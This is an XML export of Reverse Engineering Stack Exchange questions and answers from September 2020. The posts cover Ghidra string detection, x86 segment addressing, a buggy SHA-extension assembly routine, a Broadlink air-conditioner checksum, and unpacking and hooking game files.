  <row Id="25888" PostTypeId="1" CreationDate="2020-09-14T18:05:16.100" Score="1" ViewCount="1343" Body="&lt;p&gt;I have following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;char somes[10] = &amp;quot;good job!&amp;quot;;&#xA;char somes1[8] = &amp;quot;another&amp;quot;;&#xA;char somes2 [5] = &amp;quot;job&amp;quot;;&#xA;&#xA;int func()&#xA;{&#xA;  printf(&amp;quot;You did a %s\n&amp;quot;, somes);&#xA;  // func(10);&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;  printf(&amp;quot;You did a %s\n&amp;quot;, somes1);&#xA;  printf(&amp;quot;You did a %s\n&amp;quot;, somes2);&#xA;  printf(&amp;quot;garb&amp;quot;);&#xA;  printf(&amp;quot;sharp&amp;quot;);&#xA;  func();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want to get sizes of strings defined in the code. Ghidra behaves strangely in such cases, even with symbol information. For e.g. in the above program, ghidra accurately detects lengths (or sizes of) all strings except. &amp;quot;garb&amp;quot; - it says that its size is 1 and defined as a single character &amp;quot;g&amp;quot; (&lt;code&gt;s.getObject()&lt;/code&gt;). I feel this very strange, as even with debugging information, ghidra fails to detect this. Is there anything I can do to get such sizes (or correct string representations)?&lt;/p&gt;&#xA;&lt;p&gt;I am doing something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;symbols = set(currentProgram.getSymbolTable().getAllSymbols(True))&#xA;for s in symbols:&#xA;    if s.isGlobal():&#xA;        // gives me size of object&#xA;        print(s.getObject().getLength())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/17796905/93051793-a5dced00-f62a-11ea-8971-9c4fd8e800b5.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that I have also posted this question here - &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/2274&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/issues/2274&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-10-14T19:07:15.820" Title="ghidra scripting: ghidra unable to resolve string type" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25889" PostTypeId="2" ParentId="25888" CreationDate="2020-09-14T18:11:57.073" Score="1" Body="&lt;p&gt;If you are trying to change and individual string, you can right click on the first character of the string and under &lt;code&gt;Data&lt;/code&gt;, convert it to &lt;code&gt;TerminatedCString&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you have a problem with how Ghidra is recognizing strings, you can tweak the settings in the &lt;code&gt;ASCII Strings&lt;/code&gt; analyzer to have it recognize shorter strings, change alignments ettings or use a different word model.&lt;/p&gt;&#xA;" OwnerUserId="21876" LastEditorUserId="21876" LastEditDate="2020-09-14T18:29:56.713" LastActivityDate="2020-09-14T18:29:56.713" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25892" PostTypeId="1" AcceptedAnswerId="25897" CreationDate="2020-09-15T11:40:13.260" Score="1" ViewCount="508" Body="&lt;p&gt;I have an assembly row which the following information:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;EBP = 006FFB50&#xA;SS  = 002B  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I looked on this row:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,dword ptr ss:[ebp+8]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I assumed that EBP + 8 = 006FFB50 + 8 = 006FFB58.&lt;br /&gt;&#xA;But according to x64DBG, this is the result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dword ptr [ebp+8]=[006FFB58]=006FFC98  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't understand how it was calculated.&lt;br /&gt;&#xA;Why &lt;code&gt;ss:[006FFB58]&lt;/code&gt; is equal to &lt;code&gt;006FFC98&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Picture for reference with more information:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MZbco.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MZbco.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18080" LastEditorUserId="18080" LastEditDate="2020-09-15T11:49:08.523" LastActivityDate="2020-09-15T15:00:32.740" Title="How to calculate value inside stack segment (SS)" Tags="|assembly|x64dbg|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25893" PostTypeId="1" AcceptedAnswerId="25902" CreationDate="2020-09-15T12:23:55.477" Score="0" ViewCount="104" Body="&lt;p&gt;Have an application that only crashes if CPU has SHA extensions. After some investigation find a hashing routine that only occurs if CPU has SHA extensions.&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to confirm if issue is with input data or a bug in the application, original source code is not available. If a possible bug in the application trying to think what a possible original C code might look like that would generate this type of crash.&lt;/p&gt;&#xA;&lt;p&gt;The routine has the following disassembly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;X86_64_SHAEXT_SHA1Transform proc near   ; DATA XREF: X86_64_EnableCPUFeatures+14E↑o&#xA;&#xA;arg_0           = qword ptr  8&#xA;arg_8           = qword ptr  10h&#xA;&#xA;                mov     [rsp+arg_0], rdi&#xA;                mov     [rsp+arg_8], rsi&#xA;                mov     rdi, rcx&#xA;                mov     rsi, rdx&#xA;                mov     rdx, r8&#xA;                mov     rax, rsp&#xA;                lea     rsp, [rsp-48h]&#xA;                movaps  xmmword ptr [rax-48h], xmm6&#xA;                movaps  xmmword ptr [rax-38h], xmm7&#xA;                movaps  xmmword ptr [rax-28h], xmm8&#xA;                movaps  xmmword ptr [rax-18h], xmm9&#xA;                movdqu  xmm0, xmmword ptr [rdi]&#xA;                movd    xmm1, dword ptr [rdi+10h]&#xA;                movdqa  xmm3, cs:xmmword_7FFE8439F4A0&#xA;                movdqu  xmm4, xmmword ptr [rsi]&#xA;                pshufd  xmm0, xmm0, 1Bh&#xA;                movdqu  xmm5, xmmword ptr [rsi+10h]&#xA;                pshufd  xmm1, xmm1, 1Bh&#xA;                movdqu  xmm6, xmmword ptr [rsi+20h]&#xA;                pshufb  xmm4, xmm3&#xA;                movdqu  xmm7, xmmword ptr [rsi+30h]&#xA;                pshufb  xmm5, xmm3&#xA;                pshufb  xmm6, xmm3&#xA;                movdqa  xmm9, xmm1&#xA;                pshufb  xmm7, xmm3&#xA;                jmp     loc_7FFE8439F940&#xA;; ---------------------------------------------------------------------------&#xA;                align 20h&#xA;&#xA;loc_7FFE8439F940:                       ; CODE XREF: X86_64_SHAEXT_SHA1Transform+74↑j&#xA;                                        ; X86_64_SHAEXT_SHA1Transform+28A↓j&#xA;                dec     rdx&#xA;                lea     rax, [rsi+40h]&#xA;                paddd   xmm1, xmm4&#xA;                cmovnz  rsi, rax&#xA;                movdqa  xmm8, xmm0&#xA;                sha1msg1 xmm4, xmm5&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 0&#xA;                sha1nexte xmm2, xmm5&#xA;                pxor    xmm4, xmm6&#xA;                sha1msg1 xmm5, xmm6&#xA;                sha1msg2 xmm4, xmm7&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 0&#xA;                sha1nexte xmm1, xmm6&#xA;                pxor    xmm5, xmm7&#xA;                sha1msg2 xmm5, xmm4&#xA;                sha1msg1 xmm6, xmm7&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 0&#xA;                sha1nexte xmm2, xmm7&#xA;                pxor    xmm6, xmm4&#xA;                sha1msg1 xmm7, xmm4&#xA;                sha1msg2 xmm6, xmm5&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 0&#xA;                sha1nexte xmm1, xmm4&#xA;                pxor    xmm7, xmm5&#xA;                sha1msg2 xmm7, xmm6&#xA;                sha1msg1 xmm4, xmm5&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 0&#xA;                sha1nexte xmm2, xmm5&#xA;                pxor    xmm4, xmm6&#xA;                sha1msg1 xmm5, xmm6&#xA;                sha1msg2 xmm4, xmm7&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 1&#xA;                sha1nexte xmm1, xmm6&#xA;                pxor    xmm5, xmm7&#xA;                sha1msg2 xmm5, xmm4&#xA;                sha1msg1 xmm6, xmm7&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 1&#xA;                sha1nexte xmm2, xmm7&#xA;                pxor    xmm6, xmm4&#xA;                sha1msg1 xmm7, xmm4&#xA;                sha1msg2 xmm6, xmm5&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 1&#xA;                sha1nexte xmm1, xmm4&#xA;                pxor    xmm7, xmm5&#xA;                sha1msg2 xmm7, xmm6&#xA;                sha1msg1 xmm4, xmm5&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 1&#xA;                sha1nexte xmm2, xmm5&#xA;                pxor    xmm4, xmm6&#xA;                sha1msg1 xmm5, xmm6&#xA;                sha1msg2 xmm4, xmm7&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 1&#xA;                sha1nexte xmm1, xmm6&#xA;                pxor    xmm5, xmm7&#xA;                sha1msg2 xmm5, xmm4&#xA;                sha1msg1 xmm6, xmm7&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 2&#xA;                sha1nexte xmm2, xmm7&#xA;                pxor    xmm6, xmm4&#xA;                sha1msg1 xmm7, xmm4&#xA;                sha1msg2 xmm6, xmm5&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 2&#xA;                sha1nexte xmm1, xmm4&#xA;                pxor    xmm7, xmm5&#xA;                sha1msg2 xmm7, xmm6&#xA;                sha1msg1 xmm4, xmm5&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 2&#xA;                sha1nexte xmm2, xmm5&#xA;                pxor    xmm4, xmm6&#xA;                sha1msg1 xmm5, xmm6&#xA;                sha1msg2 xmm4, xmm7&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 2&#xA;                sha1nexte xmm1, xmm6&#xA;                pxor    xmm5, xmm7&#xA;                sha1msg2 xmm5, xmm4&#xA;                sha1msg1 xmm6, xmm7&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 2&#xA;                sha1nexte xmm2, xmm7&#xA;                pxor    xmm6, xmm4&#xA;                sha1msg1 xmm7, xmm4&#xA;                sha1msg2 xmm6, xmm5&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 3&#xA;                sha1nexte xmm1, xmm4&#xA;                pxor    xmm7, xmm5&#xA;                sha1msg2 xmm7, xmm6&#xA;                movdqu  xmm4, xmmword ptr [rsi]&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 3&#xA;                sha1nexte xmm2, xmm5&#xA;                movdqu  xmm5, xmmword ptr [rsi+10h]&#xA;                pshufb  xmm4, xmm3&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 3&#xA;                sha1nexte xmm1, xmm6&#xA;                movdqu  xmm6, xmmword ptr [rsi+20h]&#xA;                pshufb  xmm5, xmm3&#xA;                movdqa  xmm2, xmm0&#xA;                sha1rnds4 xmm0, xmm1, 3&#xA;                sha1nexte xmm2, xmm7&#xA;                movdqu  xmm7, xmmword ptr [rsi+30h]&#xA;                pshufb  xmm6, xmm3&#xA;                movdqa  xmm1, xmm0&#xA;                sha1rnds4 xmm0, xmm2, 3&#xA;                sha1nexte xmm1, xmm9&#xA;                pshufb  xmm7, xmm3&#xA;                paddd   xmm0, xmm8&#xA;                movdqa  xmm9, xmm1&#xA;                jnz     loc_7FFE8439F940&#xA;                pshufd  xmm0, xmm0, 1Bh&#xA;                pshufd  xmm1, xmm1, 1Bh&#xA;                movdqu  xmmword ptr [rdi], xmm0&#xA;                movd    dword ptr [rdi+10h], xmm1&#xA;                movaps  xmm6, xmmword ptr [rax-48h]&#xA;                movaps  xmm7, xmmword ptr [rax-38h]&#xA;                movaps  xmm8, xmmword ptr [rax-28h]&#xA;                movaps  xmm9, xmmword ptr [rax-18h]&#xA;                mov     rsp, rax&#xA;                mov     rdi, [rsp+arg_0]&#xA;                mov     rsi, [rsp+arg_8]&#xA;                retn&#xA;X86_64_SHAEXT_SHA1Transform endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Function is called like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    00007ffe`8437223d ff15ade82100    call    qword ptr [crypto!g_pSHA1Transform (00007ffe`84590af0)] ds:00007ffe`84590af0={crypto!X86_64_SHAEXT_SHA1Transform (00007ffe`8439f8c0)}&#xA;00007ffe`84372243 4803ee          add     rbp,rsi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When function enters, correct return address is on stack:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00007ffe`8439f8c0 48897c2408      mov     qword ptr [rsp+8],rdi ss:00000000`023fb6d0=00008bca8073ce32&#xA;0:000&amp;gt; dd @rsp&#xA;00000000`023fb6c8  84372243 00007ffe 8073ce32 00008bca &amp;lt;- return address on stack&#xA;00000000`023fb6d8  47474747 00000000 00000004 00000000&#xA;00000000`023fb6e8  00000060 00000000 00000005 00000000&#xA;00000000`023fb6f8  8435e9af 00007ffe 00000078 00000000&#xA;00000000`023fb708  00000000 00000000 023fb800 00000000&#xA;00000000`023fb718  00000060 00000000 00000000 00000000&#xA;00000000`023fb728  00000000 00000000 00000000 00000000&#xA;00000000`023fb738  00000000 00000000 00000000 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here return address is trashed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00007ffe`8439f8c0 48897c2408       mov     qword ptr [rsp+8], rdi&#xA;00007ffe`8439f8c5 4889742410       mov     qword ptr [rsp+10h], rsi&#xA;00007ffe`8439f8ca 4889cf           mov     rdi, rcx&#xA;00007ffe`8439f8cd 4889d6           mov     rsi, rdx&#xA;00007ffe`8439f8d0 4c89c2           mov     rdx, r8&#xA;00007ffe`8439f8d3 4889e0           mov     rax, rsp  &#xA;00007ffe`8439f8d6 488d6424b8       lea     rsp, [rsp-48h] &amp;lt;- Trashes return address on stack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;AFter this executes, return address gone :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dd @rsp&#xA;00000000`023fb680  47474747 47474747 00000000 47474747&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When retn executes it's still broken, 0x548ec86043f333c9 doesn't point to any valid memory.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dd @rsp&#xA;00000000`023fb980  43f333c9 548ec860 240b3e9b 8cfc35f9 &amp;lt;- Not a valid memory location on stack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems the intention is rsp is backed up in rax, and restored at end of function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov     rax, rsp&#xA;lea     rsp, [rsp-48h]&#xA;; &amp;lt;processing code&amp;gt;&#xA;mov     rsp, rax&#xA;mov     rdi, qword ptr [rsp+8]&#xA;mov     rsi, qword ptr [rsp+10h]&#xA;ret     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However rax is changed during function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;lea     rax, [rsi+40h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If rax hadn't changed the return address would still be correct.&#xA;Is there a scenario when this code could have actually worked?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-09-15T15:21:21.700" LastActivityDate="2020-09-15T22:45:55.893" Title="Application only Crashes on CPU with SHA extension" Tags="|c|amd64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25894" PostTypeId="1" AcceptedAnswerId="25901" CreationDate="2020-09-15T13:11:50.317" Score="0" ViewCount="304" Body="&lt;p&gt;I'm trying to control an air conditioning unit. The app and the unit communicate using the &lt;a href=&quot;https://github.com/mjg59/python-broadlink&quot; rel=&quot;nofollow noreferrer&quot;&gt;Broadlink protocol&lt;/a&gt;. I can decode the settings it's sending and replay them.&lt;/p&gt;&#xA;&lt;p&gt;The payload is 32 bytes but only the middle 15 ever change (prefixed with &lt;code&gt;19 00 bb 00 06 80 00 00 0f 00 01 01&lt;/code&gt; and suffixed with zeros). I think the last two bytes are some kind of checksum, but I'm unsuccessful in recreating it.&lt;/p&gt;&#xA;&lt;p&gt;Here's a sample (&lt;a href=&quot;https://pastebin.com/ph6Bg8aD&quot; rel=&quot;nofollow noreferrer&quot;&gt;more&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19 &#xA;9f e4 07 60 00 20 00 00 20 00 00 00 00 67 19 &#xA;9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19 &#xA;97 e4 87 60 00 20 00 00 20 00 00 00 00 ef 18 &#xA;97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19 &#xA;9f e4 87 60 00 20 00 00 20 00 00 00 00 e7 18 &#xA;a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19 &#xA;a7 e4 07 60 00 80 00 00 20 00 00 00 00 5e b9 &#xA;a7 e4 07 40 00 20 00 00 20 00 00 00 00 5f 39 &#xA;a7 e4 07 20 00 20 00 00 20 00 00 00 00 5f 59 &#xA;a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think it's related to a sum because the same number of bits change in the sum, but I've calculated the difference and the XOR between the sum and the actual checksum and they aren't constant. Also tried reversing the bits with no luck.&lt;/p&gt;&#xA;" OwnerUserId="34397" LastActivityDate="2020-11-23T01:38:08.967" Title="What checksum algorithm is this?" Tags="|crc|protocol|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25895" PostTypeId="2" ParentId="25887" CreationDate="2020-09-15T13:57:32.207" Score="1" Body="&lt;p&gt;If you're serious about RE-ing those .EXE files, then take a look into IDA.&lt;/p&gt;&#xA;&lt;p&gt;IDA&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are other applications that work some what, such as Ollydbg&lt;/p&gt;&#xA;" OwnerUserId="17001" LastActivityDate="2020-09-15T13:57:32.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25896" PostTypeId="2" ParentId="25887" CreationDate="2020-09-15T14:30:41.610" Score="2" Body="&lt;p&gt;Generic answer:&lt;/p&gt;&#xA;&lt;p&gt;When you want to unpack/decrypt files like this, the best idea is always to reverse the program that is able to read the file correctly. I think that in Windows operating system the most popular combo for reading files is probably &lt;code&gt;CreateFile&lt;/code&gt; and &lt;code&gt;ReadFile&lt;/code&gt; api calls. If you track every operation performed on the buffer filled using &lt;code&gt;ReadFile&lt;/code&gt; call, you can reconstruct the algorithm that is used to make sense of the bytes stored in the file. You can do it using any debugger like &lt;code&gt;x64dbg&lt;/code&gt;, &lt;code&gt;windbg&lt;/code&gt; etc.&lt;/p&gt;&#xA;&lt;p&gt;Answer to your case:&lt;/p&gt;&#xA;&lt;p&gt;Sometimes it is worth to check if particular format was already reversed by someone. There is a community around a program called &lt;a href=&quot;https://aluigi.altervista.org/quickbms.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;QuickBMS&lt;/a&gt; that targets unpacking game files. If you open your &lt;code&gt;fonts.pak&lt;/code&gt; using hex editor, you can notice the very first bytes equal to &lt;code&gt;PKTB&lt;/code&gt;. If you search for a script that can unpack &lt;code&gt;PKTB&lt;/code&gt; files on the website, there is one result for a game called &lt;a href=&quot;https://aluigi.altervista.org/bms/pit_people.bms&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pit People&lt;/a&gt;. The game is created by the same manufacturer as your Alien Hominid Invasion.&lt;/p&gt;&#xA;&lt;p&gt;Quick look on the script: &lt;code&gt;fonts.pak&lt;/code&gt; contains 5 files (2 png, 2 bmf(?) and 1 txt). Unfortunately, this quick bms script can't read encrypted filenames (that are probably stored at the very end of &lt;code&gt;fonts.pak&lt;/code&gt;, (but you can reverse it by yourself of course) what is funnier the header of the file is xored via key which is scrambled form of string &lt;code&gt;securitythroughobscurity&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-09-15T14:30:41.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25897" PostTypeId="2" ParentId="25892" CreationDate="2020-09-15T15:00:32.740" Score="3" Body="&lt;p&gt;Registers &lt;code&gt;ss&lt;/code&gt;, &lt;code&gt;cs&lt;/code&gt;, &lt;code&gt;ds&lt;/code&gt;, &lt;code&gt;es&lt;/code&gt;, &lt;code&gt;gs&lt;/code&gt;, &lt;code&gt;fs&lt;/code&gt; are special. They are called &lt;em&gt;segment registers&lt;/em&gt; and contain not addresses but &lt;em&gt;selectors&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A selector is used by the CPU as a reference to a segment - area of memory with a specific base (start address), limit (end address) and permissions.&lt;/p&gt;&#xA;&lt;p&gt;Selectors and segments are set up by the OS and in theory there may be many different segments, however in practice all modern OSes use flat memory segments (0 to 0xFFFFFFFF for 32-bit processes) for the standard code and data segments (&lt;code&gt;ss&lt;/code&gt;, &lt;code&gt;cs&lt;/code&gt;, &lt;code&gt;ds&lt;/code&gt;)&lt;sup&gt;1&lt;/sup&gt;. This means that in the expression &lt;code&gt;ss:[ebp+8]&lt;/code&gt;, only the value of &lt;code&gt;EBP&lt;/code&gt; is used for calculating the address. In your case it is indeed correct that&lt;/p&gt;&#xA;&lt;p&gt;EBP + 8 = 006FFB50 + 8 = 006FFB58&lt;/p&gt;&#xA;&lt;p&gt;which matches the value shown in brackets.&lt;/p&gt;&#xA;&lt;p&gt;However, the value after the &lt;code&gt;=&lt;/code&gt; sign in the debugger is &lt;strong&gt;not&lt;/strong&gt; the result of the calculation but the value which is present &lt;em&gt;in memory&lt;/em&gt; at that address. If you open a memory dump and go to address 006FFB58, you should see &lt;code&gt;006FFC98&lt;/code&gt; there.&lt;/p&gt;&#xA;&lt;p&gt;The brackets in the debugger hint signify &lt;strong&gt;memory dereference&lt;/strong&gt;, similarly to the assembly syntax.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; &lt;code&gt;gs&lt;/code&gt; and &lt;code&gt;fs&lt;/code&gt; are treated differently and are usually used for Thread Local Storage (TLS) block which is different for every thread and does not start at 0 so e.g. fs:0 does not map to the RAM address 0.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-09-15T15:00:32.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25900" PostTypeId="1" CreationDate="2020-09-15T18:05:22.390" Score="1" ViewCount="141" Body="&lt;p&gt;I have used MS Detours for one project in c++ and work perfectly.&lt;/p&gt;&#xA;&lt;p&gt;I have created a clone of this application (95% of the some code) to hook another file (a GOG game with DRM free), but this time crash always on DetourAttach.&lt;/p&gt;&#xA;&lt;p&gt;I have compared A/B these 2 projects (both are 32 bit) and for now seem that the new game that I need to hook is incompatible with detuors (or this is my impression).&lt;/p&gt;&#xA;&lt;p&gt;I ask if there is a good alternative when detours not work.&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="33776" LastEditDate="2020-09-15T18:10:39.327" LastActivityDate="2020-09-15T18:10:39.327" Title="Alternative to MS Detours (32 bit)" Tags="|c++|function-hooking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25901" PostTypeId="2" ParentId="25894" CreationDate="2020-09-15T18:25:19.293" Score="0" Body="&lt;p&gt;I'll give a stab at this. It's hard to tell without more context and information, it appears that the last two bytes are a little endian value added to the sum to make it equal some number. Possibly &lt;code&gt;0xff17&lt;/code&gt; if it sums every single value. Without knowing more information, it's impossible to tell which bytes it's checking but assuming we check everything, I think they are used something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def calculate(x):&#xA;    for arr in x:&#xA;        diff = 0x80EA # sum of the first 6 little endian words&#xA;        diff += (arr[12] + (arr[13] &amp;lt;&amp;lt; 8)) # add seventh little endian word&#xA;        diff += (arr[14] + (arr[15] &amp;lt;&amp;lt; 8)) # add eighth little endian word                                                                            &#xA;        diff += (arr[16] + (arr[17] &amp;lt;&amp;lt; 8)) # add ninth little endian word   &#xA;        # diff += (arr[18] + (arr[19] &amp;lt;&amp;lt; 8)) these values are all zeros...&#xA;        diff += (arr[20] + (arr[21] &amp;lt;&amp;lt; 8)) # add eleventh little endian word&#xA;        diff += (arr[22] + (arr[23] &amp;lt;&amp;lt; 8)) # add twelfth little endian word&#xA;        diff += arr[24]&#xA;        checksum = (arr[25] + (arr[26] &amp;lt;&amp;lt; 8) &amp;amp; 0xffff) # grab checksum                                                                               &#xA;        print(hex((diff+checksum) &amp;amp; 0xffff))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I run this with you list of 171 samples as input, I only get three unique values, and they're all within a byte of each other.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;~/ python3 test.py | sort | uniq | wc&#xA;      3       3      21&#xA;~/ python3 test.py | sort | uniq -c&#xA;     21 0xff16&#xA;    146 0xff17&#xA;      4 0xff18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Assuming you are correct about the first 12 bytes not changing, perhaps these are due to transmission error (that's the point of a checksum, right?) or I am missing something in checksum algorithm.&lt;/p&gt;&#xA;&lt;p&gt;As a side note, the first two bytes &lt;code&gt;19 00&lt;/code&gt; may refer to the payload length in bytes.&lt;/p&gt;&#xA;" OwnerUserId="21876" LastEditorUserId="21876" LastEditDate="2020-09-15T18:32:34.633" LastActivityDate="2020-09-15T18:32:34.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25902" PostTypeId="2" ParentId="25893" CreationDate="2020-09-15T22:45:55.893" Score="1" Body="&lt;p&gt;The code is buggy. &lt;code&gt;rax&lt;/code&gt; is used to store the original value of &lt;code&gt;rsp&lt;/code&gt; and restore it at exit, but it’s also used as a temporary register in the loop in the middle of the function.&lt;/p&gt;&#xA;&lt;p&gt;I suspect that this function was written manually in assembly but not actually tested on real hardware so the bug went unnoticed or, possibly, modified after initial testing and someone missed the fact that &lt;code&gt;rax&lt;/code&gt; is used for two different purposes.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-09-15T22:45:55.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25903" PostTypeId="1" AcceptedAnswerId="25904" CreationDate="2020-09-16T06:32:31.437" Score="0" ViewCount="718" Body="&lt;p&gt;While debugging a program, I have an address &lt;code&gt;0011E028&lt;/code&gt; in &lt;code&gt;eax&lt;/code&gt; that points to another address: &lt;code&gt;680df44&lt;/code&gt;:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2PypO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2PypO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I wanted to see what appear inside the address &lt;code&gt;680df44&lt;/code&gt; so I go to &lt;code&gt;Search &amp;gt; sequence of bytes...&lt;/code&gt; (Alt+B) in IDA and searched for &lt;code&gt;680df44&lt;/code&gt; but it didn't find this address:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Searching down CASE-INSENSITIVELY for binary pattern:&#xA;    44 DF 80 06&#xA;Search failed.&#xA;Command &amp;quot;AskBinaryText&amp;quot; failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I thought maybe the order was incorrect so I change it to &lt;code&gt;40f40d68&lt;/code&gt; and it still failed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Searching down CASE-INSENSITIVELY for binary pattern:&#xA;    68 0D F4 40&#xA;Search failed.&#xA;Command &amp;quot;AskBinaryText&amp;quot; failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-09-16T06:37:08.723" Title="Can't find sequence of bytes in IDA while debugging" Tags="|ida|address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
